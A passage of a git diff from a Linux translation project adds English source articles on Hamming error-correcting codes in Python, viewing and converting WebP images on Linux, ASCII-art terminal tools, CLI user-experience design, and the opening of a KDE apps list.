https://itsfoss.com/install-gui-ubuntu-server/ +[42]: https://yunohost.org/ +[43]: https://itsfoss.com/arch-based-linux-distros/ diff --git a/sources/tech/20220705 Hamming Codes- The Error-Correcting Codes.md b/sources/tech/20220705 Hamming Codes- The Error-Correcting Codes.md new file mode 100644 index 0000000000..36a76ee654 --- /dev/null +++ b/sources/tech/20220705 Hamming Codes- The Error-Correcting Codes.md @@ -0,0 +1,193 @@ +[#]: subject: "Hamming Codes: The Error-Correcting Codes" +[#]: via: "https://www.opensourceforu.com/2022/07/hamming-codes-the-error-correcting-codes/" +[#]: author: "Supriyo Ganguly https://www.opensourceforu.com/author/supriyo-ganguly/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Hamming Codes: The Error-Correcting Codes +====== +When bits are transmitted or sent over the computer network, they can easily get corrupted due to interference and network problems, and lead to errors. Hamming codes are linear codes used to detect and correct the errors that can occur when data is moved from the sender to the receiver. Let’s take a look at their implementation in Python. + +![Hamming-Codes-The-Error-Correcting-Codes][1] + +In 1950, R.W. Hamming created an error correction code called the Hamming code. It divides data into fixed length blocks, making it a block based error detection and correction algorithm. Extra or redundant parity bits are generated and embedded into the data message before transmission. After the receiver gets them, these parity bits are recalculated to detect and correct the error. + +Up to 2 bit errors can be detected and up to 1 bit errors can be corrected. For example, in case of even parity, the number of 1s in specific positions should turn out to be even. This will ensure the integrity or correctness of the message. The procedure can be described in the following steps: + +* Calculation of the number of redundant bits +* Finding the position of parity/redundant bits +* Filling the parity bits +* Sending the message On the receiver side, the steps are: +* Receiving the message +* Finding the position of parity/redundant bits +* Comparing the parity bits to find the error + +### Algorithm overview + +We are going to use even parity in this example. + +The user has to send a data stream of bits from one endpoint to another. The number of bits in the data stream is represented as ‘m’. And the hamming encoding algorithm is going to insert ‘r’ number of extra parity bits in the message for encoding before sending on the wire. +If ‘m’ is the number of data bits and ‘r’ is number of redundant bits, the following condition must be satisfied: + +``` +2^r ≥ m + r + 1 ....eq1 +``` + +The parity bits will be inserted in specific locations of the encoded data stream. These locations are powers of 2; e.g. (2^0=1, 2^1=2, 2^2=4, 2^3=8, etc). + +Let us take an example. Say we have a data stream of 4 bits; so, m=4. This is represented as follows: + +| - | - | - | - | +| :- | :- | :- | :- | +| D1 | D2 | D3 | D4 | + +We now need to calculate the number of parity bits: + +``` +If r=1 we put in eq1 2^1 < 4+1+1, so not ok +If r=2 we put in eq1 2^2 < 4+2+1, so not ok +If r=3 we put in eq1 2^3 = 4+3+1, this is ok +``` + +So the number of redundant bits is r=3. After the insertion of parity bits, the data stream will look like this: + +| - | - | - | - | - | - | - | +| :- | :- | :- | :- | :- | :- | :- | +| P1 | P2 | D1 | P3 | D2 | D3 | D4 | + +These parity bits are calculated from XOR of data bits at specific locations. The specific data bit positions are found based on the following table (where the corresponding bit is 1). + +| bit location | P3 | P2 | P1 | +| :- | :- | :- | :- | +| 1 | 0 | 0 | 1 | +| 2 | 0 | 1 | 0 | +| 3 | 0 | 1 | 1 | +| 4 | 1 | 0 | 0 | +| 5 | 1 | 0 | 1 | +| 6 | 1 | 1 | 0 | +| 7 | 1 | 1 | 1 | + +So, + +``` +P1=B1 XOR B3 XOR B5 XOR B7 +P2=B2 XOR B3 XOR B6 XOR B7 +P3=B4 XOR B5 XOR B6 XOR B7 +—--eq2 +``` + +This is referred to as (7,4) Hamming code. + +### Implementation overview (with code walkthrough) + +I have written a Python code to implement the algorithm. Here, *even parity* is used. + +*Data* is the input data stream taken as input from the user (example: data=’1101’). + +‘m’ is the length of data taken as input from user (m=4). + +#### Encoding of data + +Step 1: *calculateRedundantBitSize()* function finds the value of ‘r’; r=3. + +Step 2: In *createEncodedDat(),* the encodedList is the list initialised with all 0s. + +For (7,4), the Hamming code encodedList will look like this: + +| - | - | - | - | - | - | - | +| :- | :- | :- | :- | :- | :- | :- | +| 0 | 0 | 0 | 0 | 0 | 0 | 0 | + +The next code copies data bits to specific locations: + +``` +for i in range(1,m+r+1,1): +if(i==(2**j)): +j=j+1 +else: +encodedList[i-1]=data[k] +k=k+1 +``` + +The *for* loop is iterating over the complete data length of ‘m+r’. If ‘i’ is power of 2 in the encodedList, the i-1 index will hold the data bit. For (7,4), the Hamming code encodedList will look like this: + +| - | - | - | - | - | - | - | +| :- | :- | :- | :- | :- | :- | :- | +| 0 | 0 | 1 | 0 | 1 | 0 | 1 | + +Then the parity bits are calculated as follows: + +``` +for j in range(0,r,1): +parityBitLoc = 2**j +for i in range(1,m+r+1,1): +if((parityBitLoc & i) != 0): +p=parityBitLoc-1 +encodedList[p]= str(int(encodedList[i-1]) ^ int(encodedList[p])) +``` + +‘j’ is iterating over parity bits and ‘i’ is iterating over the full data stream. The condition: + +``` +if((parityBitLoc & i) != 0) +``` + +…will verify the specific positions for parity bit calculation, as specified in equation 2. ‘p’ is indicating the position of the parity bit in the list. + +For (7,4) Hamming code, the encodedList will look like this: + +| - | - | - | - | - | - | - | +| :- | :- | :- | :- | :- | :- | :- | +| 1 | 0 | 1 | 0 | 1 | 0 | 1 | + +Finally, the encoded bits are stored as a string in encodedData. + +#### Decoding and error correction + +We now look at error correction. For error simulation, users can give an input to intentionally alter a bit. *rcvdList* is an erroneous bitString, which is passed on to the decodedData function. + +As an example, we assume that bit 4 is corrupted. rcvdList will look like this: + +| - | - | - | - | - | - | - | +| :- | :- | :- | :- | :- | :- | :- | +| 1 | 0 | 1 | 1 | 1 | 0 | 1 | + +In the decodedData function, execute the following code: + +``` +chkList[p] = int(rcvdList[i-1]) ^ int(rcvdList[p]) ^ int(chkList[p]) +``` + +After execution of this code, chkList will look like this: + +| P1 | P2 | | P3 | | | | +| :- | :- | :- | :- | :- | :- | :- | +| 0 | 0 | 0 | 1 | 0 | 0 | 0 | + +We convert it to a binary: + +``` +P3P2P1 = (100)b +``` + +…which is 4 in decimals. This matches exactly with the user input. Thus it can also detect and correct the error. You can find the full source code on GitHub at *https://github.com/SupriyoGanguly/python-hamming.* + +Hamming code is a cost-effective solution for detecting and correcting single-bit errors in computers. But if multiple bits are erroneous, it can totally spoil the data. Satellites and modem communications use hamming code. The simple Python code implementation discussed in this article can be used as a module by programmers for hamming code encoding and decoding for any standard data stream length of 4 bits, 7 bits, 13 bits, and so on. + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/07/hamming-codes-the-error-correcting-codes/ + +作者:[Supriyo Ganguly][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/supriyo-ganguly/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/Hamming-Codes-The-Error-Correcting-Codes.jpg diff --git a/sources/tech/20220705 WebP Image- How to Create, Convert to JPEG, PNG & View in Ubuntu and Other Linux.md b/sources/tech/20220705 WebP Image- How to Create, Convert to JPEG, PNG & View in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..05aaf6da28 --- /dev/null +++ b/sources/tech/20220705 WebP Image- How to Create, Convert to JPEG, PNG & View in Ubuntu and Other Linux.md @@ -0,0 +1,203 @@ +[#]: subject: "WebP Image: How to Create, Convert to JPEG, PNG & View in Ubuntu and Other Linux" +[#]: via: "https://www.debugpoint.com/view-webp-ubuntu-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +WebP Image: How to Create, Convert to JPEG, PNG & View in Ubuntu and Other Linux +====== +In this article, I will explain the following topics, which cover all the information you need to convert and view WebP images in Ubuntu and other distributions. + +![WebP Logo][1] + +### What is WebP + +In September 2010, Google announced the WebP image format with a vision and a solid replacement for JPEG, PNG and GIF file formats. As you can see, it’s one single format that provides all the features of the legacy compression algorithm. At its core, WebP supports lossy, lossless animation and transparency. + +In addition, WebP is based on block prediction technology and its recommended image format for the web. Due to its significant low file size and better quality, it became the modern standard for serving website images. + +### The Current State + +Today, almost all the major web browsers support WebP – which means you can view the images in popular browsers such as Chromium, Chrome, Firefox, Brave, Vivaldi, Safari and Edge. + +But creating a WebP image from existing JPG and PNG files requires the [WebP][2] library developed by Google. Moreover, the Linux distribution’s file managers are not yet capable of displaying them out of the box. + +For a seamless integration and experience with WebP – many small components must work together. The operating system requires the core library for WebP. In addition, the file manager and image viewers need to recognise the `*.webp` file type and read them. + +All of these result in a consistent experience for users. Since it is still a new standard and adoption is in progress, you need to perform some extra steps in Linux to get it working. + +On the other hand, Windows 10 and 11 currently support WebP by default, including its new Image Viewer. + +Hence, this article will discuss how to view, create and convert WebP images in Linux systems. + +### View WebP Images + +#### Ubuntu, Linux Mint and related distros + +Viewing an image requires a loader. The file managers or image viewers use that loader library to enable the display of WebP images. By default, the WebP image loader is not available in Ubuntu Linux. Hence, you need to install the `webp-pixbuf-loader` library using the following PPA to view a WebP image in Ubuntu. This library enables GTK applications to show the WebP images. + +``` +sudo add-apt-repository ppa:helkaluin/webp-pixbuf-loadersudo apt updatesudo apt install webp-pixbuf-loader +``` + +If you want to learn how a GDK library works between the display server (e.g. X.Org) and GTK components, visit [this page.][3] + +#### openSUSE + +Leap and Tumbleweed packages are [available here][4]. Visit the page and click on the Expert Download to install. + +#### Arch Linux + +In Arch Linux, the package is available in [the community repo][5]. Hence the installation is easy using the following command. + +``` +sudo pacman -S webp-pixbuf-loader +``` + +#### Fedora Linux, RHEL + +For Fedora and other related distributions, use the following command to install. + +``` +sudo dnf install webp-pixbuf-loader +``` + +After installation is complete, **restart your system**(optional)**.** + +Now, the fun part. Browse to any directory with WebP images, and you should see them in thumbnails or the default image viewer. + +Here’s an example image with a before-after view of the Nautilus file manager in Ubuntu 22.04 LTS with WebP images. + +![GNOME Files (Nautilus) with WebP file - before][6] + +![GNOME Files (Nautilus) with WebP file - after][7] + +### View WebP images in Various File Manager/Image Viewers in Linux Distros + +#### GNOME & Nautilus + +For GNOME desktops, Nautilus would work fine with the method I explained above for Ubuntu/Fedora or others. + +#### View WebP images in Thunar Desktop (Xfce-based distros) + +Although Thunar can show the thumbnail by default for the Xfce desktop, the default image viewer Ristretto wouldn’t open the WebP. So, you must install the above packages first (Ubuntu/Fedora or Arch) and reboot. Then open it with Ristretto image viewer after changing the default .webp file-type association. + +![Thunar and Ristretto Image Viewer shows webp image][8] + +#### KDE Plasma – Dolphin file manager and image viewer – Gwenview + +The default image viewer Gwenview supports WebP by default. Hence you don’t need any additional installation to view it. And Dolphin can display the WebP thumbnail just fine. + +![Dolphin and Gwenview displays a sample WebP image in KDE Plasma][9] + +#### Viewing WebP images in PCManFMQt (LXQt-based distros) + +If you are using Lubuntu, you should be able to open WebP by LXImage viewer because it supports WebP by default. Also, PCManFMQt can show WebP thumbnails by default. + +![PCManFM-Qt and LXImage][10] + +#### Nemo file manager + +[Linux Mint][11] is bringing WebP support from the [Mint 21 “Vanessa”][12] release onwards, which should work for the Nemo file manager. Until then, you can use the above PPA to view the WebP images in Linux Mint. + +### How to view WebP image in Ubuntu and other Linux using an app (recommended) + +Firstly, the famous raster graphics program **GIMP** can open and save WebP images from version 2.10 onwards (currently available for all distros). + +Secondly, you can use the following image viewers (other than what your desktop offers), which support WebP. + +* [Qview][13] – A minimal image viewer +* [gThumb][14] – A GTK-based image viewer [available as Flatpak] + +Finally, [LibreOffice 7.4][15] (due in August) brings [native WebP support][16] for both import and export for its all components – Writer, Calc, Draw and Impress. + +### Convert WebP Images to JPG or PNG + +Since you learned how to view the .webp files, it’s worth knowing how to convert them. + +Firstly, install the webp packages for Ubuntu or Fedora Linux, including related distros using the following command. Alternatively, if you want the pre-compiled packages for all distros and operating systems which does not require installation, then visit [this page][17] and download the latest zip file. + +**Ubuntu and related distros:** + +``` +sudo apt install webp +``` + +**Fedora and related distros:** + +``` +sudo dnf install libwebp +``` + +**After installation**, use the following command to convert a WebP image to JPG/PNG. Make sure to change the file name and path for your case. + +``` +dwebp image1.webp -o image1.png +``` + +### Convert JPEG or PNG images to WebP format + +Similarly, if you want to convert a JPEG or PNG file to WebP format, use the following command with cwebp (WebP encoder). + +``` +cwebp -q -o +``` + +For example, you can use a sample command below, which converts image1.png to image1.webp with a compression factor of 80 + +``` +cwebp -q 80 image1.png -o image1.webp +``` + +### Convert GIF image to WebP image + +One of the underrated features of the WebP format is it supports animation. Hence, the animated GIF files can also work in WebP format with the same animation. Using the following command, you can convert an existing GIF file to a WebP file. + +``` +gif2webp input_file.gif -o output_file.webp +``` + +Visit [this page][18] to learn more about the above utility and other options. + +### Closing Notes + +Although it’s been a decade since the first announcement of WebP, it took considerable time for desktop Linux to adapt to view the WebP image formats. And I believe, by 2022 end, the WebP support will be native, and you may not need additional tweaking or workaround to view or save WebP files. + +I hope this article gives you complete detail about WebP and how you can make it streamlined for your workflow. + +So, how you are managing WebP images today? Let me know in the comment box below. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/view-webp-ubuntu-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/07/WebP-Logo.jpg +[2]: https://developers.google.com/speed/webp +[3]: https://docs.gtk.org/gdk-pixbuf/ +[4]: https://software.opensuse.org/package/webp-pixbuf-loader +[5]: https://archlinux.org/packages/community/x86_64/webp-pixbuf-loader/ +[6]: https://i0.wp.com/www.debugpoint.com/wp-content/uploads/2022/07/GNOME-Files-Nautilus-with-WebP-file-before.png?ssl=1 +[7]: https://i0.wp.com/www.debugpoint.com/wp-content/uploads/2022/07/GNOME-Files-Nautilus-with-WebP-file-after.png?ssl=1 +[8]: https://www.debugpoint.com/wp-content/uploads/2022/07/Thunar-and-Ristretto-Image-Viewer-shows-webp-image.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/07/Dolphin-and-Gwenview-displays-a-sample-WebP-image-in-KDE-Plasma.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/07/PCManFM-Qt-and-LXImage.jpg +[11]: https://www.debugpoint.com/linux-mint/ +[12]: https://debugpointnews.com/linux-mint-21-systemd-oom/ +[13]: https://interversehq.com/qview/download/ +[14]: https://flathub.org/apps/details/org.gnome.gThumb +[15]: https://www.debugpoint.com/libreoffice-7-4/ +[16]: https://cgit.freedesktop.org/libreoffice/core/commit/?id=60eaa424c5e213f31227008e1ed66a646491a360 +[17]: https://storage.googleapis.com/downloads.webmproject.org/releases/webp/index.html +[18]: https://developers.google.com/speed/webp/download diff --git a/sources/tech/20220706 10 Tools to Generate and Have Fun With ASCII Art in Linux Terminal.md b/sources/tech/20220706 10 Tools to Generate and Have Fun With ASCII Art in Linux Terminal.md new file mode 100644 index 0000000000..bba9eefa51 --- /dev/null +++ b/sources/tech/20220706 10 Tools to Generate and Have Fun With ASCII Art in Linux Terminal.md @@ -0,0 +1,293 @@ +[#]: subject: "10 Tools to Generate and Have Fun With ASCII Art in Linux Terminal" +[#]: via: "https://itsfoss.com/ascii-art-linux-terminal/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +10 Tools to Generate and Have Fun With ASCII Art in Linux Terminal +====== +Linux terminal is not as scary as you think. + +Of course, it could be intimidating in the beginning but once you [know the terminal better][1], you start loving it. + +You are likely to use the terminal for serious work. But there are many fun stuff you can do in the terminal as well. + +One of them is experimenting with ASCII art. You can display predefined or random messages, play games, or run some animation in ASCII format in the Linux terminal using various command line tools. + +My teammate Sreenath likes to explore such unusual CLI tools and share his findings with me. I am sharing those findings with you. + +![ascii art tools linux][2] + +Most of these programs should be available in the repositories of your Linux distribution. You can use your system’s package manager to install them. To keep the article concise, I have only included the installation instructions for Ubuntu. + +### 1. lolcat: Add colors to your terminal + +Alright! lolcat doesn’t have anything to do with ASCII art. At least not directly. + +Still, I included it at the beginning of this article because you can combine other ASCII tools with lolcat. + +So, what does it do? It is similar to the cat command but it adds random gradient colors to its output. + +![lolcat][3] + +It may not look useful at the moment but you’ll see its impact when the outputs of other ASCII tools are piped through lolcat. + +Install lolcat with the apt command: + +``` +sudo apt install lolcat +``` + +### 2. Aewan: Display ASCII text beautifully + +Aewan is a multi-layered ASCII graphics/animation editor. It produces stand-alone cat-able ASCII art files and an easy-to-parse format for integration into terminal applications. + +It has two tools: `aewan`, an ASCII editor and `aecat`, for viewing the created file. + +I am not going to discuss the editor part here. + +![aewan initial layout][4] + +To display any text in pretty ASCII format, you need the aecat command. Notice the use of letters in the screenshot below. + +![aewan output][5] + +To install aewan use the following command: + +``` +sudo apt install aewan +``` + +And then use it like this: + +``` +aecat hello +``` + +### 3. Cowsay: Make an ASCII cow say whatever you want + +What does the cow say? Whatever you want it to say. + +The cowsay is already a popular tool among seasoned Linux users. It shows an ASCII cow that repeats the text you provide it. + +![cowsay][6] + +But you are not restricted to cows only. You can change it to several other characters as well. Like a dragon (burning King’s landing): + +![cowsay][7] + +Did you notice the colored output in the above screenshot? That’s the magic of the lolcat command I mentioned earlier. + +To install cowsay, use: + +``` +sudo apt install cowsay +``` + +Once installed, you can use it like this: + +``` +cowsay hello +``` + +You can refer to its [man page][8] for additional configuration and options. + +### 4. jp2a: Convert images into ASCII art + +jp2a is a command-line tool that [converts images to ASCII art in the Linux terminal][9]. It works with JPEG and PNG files. It also allows colored output and your selection of character set to appear as ASCII image. + +![jp2a][10] + +You can install it using the following command: + +``` +sudo apt install jp2a +``` + +You can get the colorful output and save the ASCII text like this: + +``` +jp2a --output=ascii.txt --colors input.png +``` + +It’s not the only program of this kind. There is ascii-image-converter and several other tools that could be used for the same purpose. I won’t discuss all of them in this list. + +### 5. linuxlogo: Display the ASCII logo your Linux distro + +The name says it all. It displays the [Linux logo in ASCII format][11]. + +No, not our [beloved Linux logo, Tux][12] but the logo of your Linux distribution. It also shows a few additional information like [Linux kernel version][13], CPU, RAM, hostname, etc. + +![linux logo][14] + +You can install it using the apt command: + +``` +sudo apt install linuxlogo +``` + +Just enter linuxlogo to use the command. + +### 6. Neoftech: Display the Linux logo along with system info + +The above linuxlogo command is too simplistic. You can amp it up by using Neofetch. + +It displays the distribution in a more pretty way along with several system information like kernel, uptime, desktop environment, theme, icons, etc. + +![neofetch][15] + +You can also parse it through lolcat to get rainbow-colored output. + +Install Neoftech using this command: + +``` +sudo apt install neofetch +``` + +And then just enter neoftech to run the command. + +There is also screenfetch, a similar tool to Neofetch. You can use either of them. + +### 7. fortune: Get your fortune told + +Just kidding! There’s no such thing. + +However, fortune cookies are still fashionable and apparently, people like to read random predictions or teachings. + +You can get a similar feature in the Linux terminal with the fortune command: + +![fortune cookie linux][16] + +You can install it using the following command: + +``` +sudo apt install fortune +``` + +Once installed, just enter fortune in the terminal to get a random message. + +### 8. pv: Make things animated + +This is a classic example of the unintended use of a Linux command. The pv command is used to monitor the progress of data through pipe. + +But you can use it to animate the output of any command. Combine it with some of the above-mentioned commands and you can see the ASCII art appearing on your screen as if it is being typed. + +Don’t get it? Watch this video: + +![A Video from YouTube][17] + +Install it using the following command: + +``` +sudo apt install pv +``` + +And then use it in the following manner: + +``` +neofetch | pv -qL 200 | lolcat +``` + +The higher the number, the higher will be the speed. + +### 9. cmatrix: Matrix like animation in ASCII + +Remember the cult geek move Matrix? The green falling code is synonymous with Matrix and hacking. + +You can run an ASCII simulation of the falling code in the Linux terminal with cmatrix command. + +I am sharing a screenshot instead of animation here. + +![cmatrix][18] + +You can install it with apt command: + +``` +sudo apt install cmatrix +``` + +Once installed, you can run it with: + +``` +cmatrix +``` + +It starts the animation immediately and it keeps on generating random green text falling and disappearing from the screen. The command keeps on running. To [stop the running application][19], use the Ctrl+C keys. + +### 10. cbonsai: Grow a bonsai in your terminal + +Got a green thumb? How about growing an ASCII bonsai tree in the terminal? + +cbonsai is a [fun Linux command][20] that lets you run bonsai tree growing animation in ASCII format. + +I shared a YouTube Shorts of cbonsai command a few days ago. + +![Have fun with the Linux terminal 😍 🐧][21] + +[Subscribe to our YouTube channel for more Linux videos][22] + +You can install cbonsai using: + +``` +sudo apt install cbonsai +``` + +And then to run the animation, use this command: + +``` +cbonsai -l +``` + +### Try some more + +There are many more such fun CLI tools. Heck, there are [ASCII games][23] as well. It’s fun to use them at times to amuse people around you. + +Can you put these commands to some good use? Not certain about the usability, but you can add some of them in your .bashrc file so that the command is run as soon as you open a terminal session. + +Many sys-admins do that on shared Linux systems. A program like cowsay or figlet can be used to display a message or system info in a pretty way. + +You may also use some of these programs in your bash scripts, especially if you have to highlight something. + +There could be other usages of ASCII art in Linux. I let you share them with the rest of us here. + +#### Read More Articles + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ascii-art-linux-terminal/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/basic-terminal-tips-ubuntu/ +[2]: https://itsfoss.com/wp-content/uploads/2022/07/ascii-art-tools-linux.png +[3]: https://itsfoss.com/wp-content/uploads/2022/07/lolcat.png +[4]: https://itsfoss.com/wp-content/uploads/2022/07/Aewan-initial-layout.png +[5]: https://itsfoss.com/wp-content/uploads/2022/07/aewan-output.png +[6]: https://itsfoss.com/wp-content/uploads/2022/07/cowsay-1.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/cowsay.png +[8]: https://itsfoss.com/linux-man-page-guide/ +[9]: https://itsfoss.com/ascii-image-converter/ +[10]: https://itsfoss.com/wp-content/uploads/2022/07/jp2a.png +[11]: https://itsfoss.com/display-linux-logo-in-ascii/ +[12]: https://itsfoss.com/tux-trivia/ +[13]: https://itsfoss.com/find-which-kernel-version-is-running-in-ubuntu/ +[14]: https://itsfoss.com/wp-content/uploads/2022/07/linux-logo.png +[15]: https://itsfoss.com/wp-content/uploads/2022/07/neofetch.png +[16]: https://itsfoss.com/wp-content/uploads/2022/07/fortune-cookie-Linux.png +[17]: https://player.vimeo.com/video/727286686 +[18]: https://itsfoss.com/wp-content/uploads/2022/07/cmatrix.png +[19]: https://itsfoss.com/stop-program-linux-terminal/ +[20]: https://itsfoss.com/funny-linux-commands/ +[21]: https://youtu.be/KqhqgdezPp8 +[22]: https://www.youtube.com/c/itsfoss?sub_confirmation=1 +[23]: https://itsfoss.com/best-ascii-games/ diff --git a/sources/tech/20220706 3 steps to create an awesome UX in a CLI application.md b/sources/tech/20220706 3 steps to create an awesome UX in a CLI application.md new file mode 100644 index 0000000000..8bdee9fd84 --- /dev/null +++ b/sources/tech/20220706 3 steps to create an awesome UX in a CLI application.md @@ -0,0 +1,120 @@ +[#]: subject: "3 steps to create an awesome UX in a CLI application" +[#]: via: "https://opensource.com/article/22/7/awesome-ux-cli-application" +[#]: author: "Noaa Barki https://opensource.com/users/noaa-barki" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +3 steps to create an awesome UX in a CLI application +====== +Here is what I've learned to be the key factors that go into a successful user experience for a CLI project. + +As I was sitting in a meeting room, speaking with one of my teammates, our manager walked in with the rest of the dev team. The door slammed shut and our manager revealed that he had a big announcement. What unfolded before our eyes was the next project we were going to develop—an open source CLI (command line interface) application. + +In this article, I'd like to share what I learned during our development process, and specifically what I wish I had known before we began developing [Datree's CLI][3]. Perhaps the next person can use these tips to create a great CLI application faster. + +My name is Noaa Barki. I've been a full-stack developer for over six years, and I'll let you in on a little secret—I have a superpower: My interest and expertise are evenly split between back-end and front-end development. I simply cannot choose one without the other. + +So when my manager revealed the news about our future CLI, the back-end developer-me got very excited because I'd never created a CLI (or any open source project, for that matter). A few seconds later, the front-end developer-me started to wonder, *How can I build an awesome user experience in a CLI application?* + +Since Datree CLI helps engineers prevent [Kubernetes misconfigurations][4], my users are primarily DevOps and engineers, so I interviewed all my DevOps friends and searched online about the general DevOps persona. + +Here are the steps I came up with: + +1. Design the commands +2. Design the UI +3. Provide backward compatibility + +### Step 1: Design the commands + +Once you have completed the strategic process, it's time to design the commands. I think about CLI applications like magic boxes—they hold great features that work in a magical way, but only if you know how to use them. That means a CLI application must be intuitive and easy to use. + +#### My top six principles for CLI commands + +Here are my top six principles and best practices for designing and developing CLI commands: + +**1. Input flag vs. arguments** + +Use arguments for required fields, and for everything else, use flags. Take, for example, the `datree test` command, which prints the policy results, and say that you want to enable the user to print the output into a specific file. If you use `datree test {pattern} {output-file}`, it is difficult to understand from reading the executed command which argument is the pattern and which argument is the file path. + +For example, this occurs with the following command: `datree test **/* **.YAML`. However, if you use `datree test {pattern} -output {output-path}`, it becomes much clearer. + +**Note:** Reports show that most users find flags to be clearer. + +**2. Enum-style vs. Boolean flags** + +It's preferable to use an enum-style flag over a Boolean-style flag because then you (a developer and user) need to think about all combinations of the presence or absence of the flags in the command. An enum-style flag is a flag that assumes a value. Enum-style flags make it much easier to implement tab completion. + +**3. Use familiar language** + +Remember that a CLI is built more for humans than machines. Pick real-world language for your commands and descriptions. + +**4. Naming conventions** + +Use CLI commands that are named in a SINGLE form and VERB-NOUN format. This allows the command to be read like an imperative or request, for example: *Computer, start app!* + +Minimize with the total number of commands you use, and don't rush to introduce new verbs to new commands. This makes it easier for users to remember command names. + +**5. Prompts** + +Provide a bypass to the prompt option. The user cannot script the command if prompting is required to complete it. To avoid frustrating users, a simple `--output` flag can be a valuable solution to allow the user to parse the output and script the CLI. + +**6. Command descriptions** + +The root command should list all the commands with their descriptions. Provide a command description to all commands (or do not offer descriptions at all), choose the screen width you want it to fit into (generally an 80-character width), and begin with a lowercase character. Also, don't end with a period to avoid unclear line breaks or lost periods. + +### Step 2: Design the UI + +Now you have a solid definition for your users. You have also planned and designed your commands and outputs. Next it's time to think about making the CLI application aesthetic, accessible, and easy to learn. + +If you think about it, almost every app must deal with UX (user experience) challenges during the users' onboarding and journey. The *how* part of UX for web applications is much more obvious because you have many component libraries (such as material-UI and bootstrap) that make it easier to adopt standard style guides and functionality flows. But what about CLI applications? Are there any design conventions for CLI interfaces? How can you create an aesthetic design of the CLI functionality that is also accessible? Is there any way to make the CLI UI as friendly as a GUI? + +#### Top three UI and UX best practices for CLI applications + +**1. Use colors** + +Colors are a great way to attract your user's eyes and help them read commands and outputs much faster. The most recommended font colors are magenta, cyan, blue, green, and gray, but don't forget that background colors can provide more variety. I encourage you to use yellow and red colors but remember that these are typically saved for errors and warnings. + +**2. Input-output consistency** + +Be consistent with inputs and outputs across the application; this encourages usability and allows the user to learn how to interact with new commands quickly. + +**3. Ordering arguments** + +Choose an argument's position based on how it correlates with the command's action. Consider NestJS's generate command `nest generate {schematic} {name}`, which needs *schematic* and *name* as arguments. Notice that the action *generate* refers directly to the *schematic*, not *name*, so it makes more sense for *schematic* to be the first arg. + +### Step 3: Provide backward compatibility + +Avoid modifying the output. Now that you know how to create a perfect CLI application, don't forget to keep your users in the back of your mind, especially when enabling scripting the CLI. Remember that any change in the command's outputs may break users' current scripts; therefore, avoid modifying the output. + +### Wrap up + +Creating a new CLI is exciting and challenging, and doing so with a helpful and easy UX adds to the challenge. My experience shows that three key factors go into a successful UX for a CLI project: + +1. Design the commands +2. Design the UI +3. Provide backward compatibility + +Each of these phases has its own components that support the logic and make the lives of your users easier. + +I hope these concepts are useful and that you have the opportunity to apply them in your next project. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/awesome-ux-cli-application + +作者:[Noaa Barki][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/noaa-barki +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png +[2]: https://creativecommons.org/licenses/by/3.0/us/ +[3]: https://www.datree.io/ +[4]: https://opensource.com/article/22/4/kubernetes-policies-config-datree diff --git a/sources/tech/20220707 10 Great KDE Apps for Everyone [Part 2].md b/sources/tech/20220707 10 Great KDE Apps for Everyone [Part 2].md new file mode 100644 index 0000000000..685cb3c6bf --- /dev/null +++ b/sources/tech/20220707 10 Great KDE Apps for Everyone [Part 2].md @@ -0,0 +1,310 @@ +[#]: subject: "10 Great KDE Apps for Everyone [Part 2]" +[#]: via: "https://www.debugpoint.com/great-kde-apps-part-2/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +10 Great KDE Apps for Everyone [Part 2] +====== +A list of ten great KDE apps spread across productivity, utilities and games. Have a look. + +Many new Linux users don’t know that the KDE ecosystem contains hundreds of “Kool” applications across all functionalities and use cases. This article series aims to highlight them for awareness and collaboration among the users and creators of those apps. + +This is part 2 of the “KDE Apps” series. If you missed the first part, you could read it here. + +[Part 1][1] + +### 10 Great KDE Apps – Part 2 + +#### Plan – Project management application + +The first project I would like to feature in this list is one of the best apps – “Plan”. The Plan is a project management application (like Microsoft Project) that 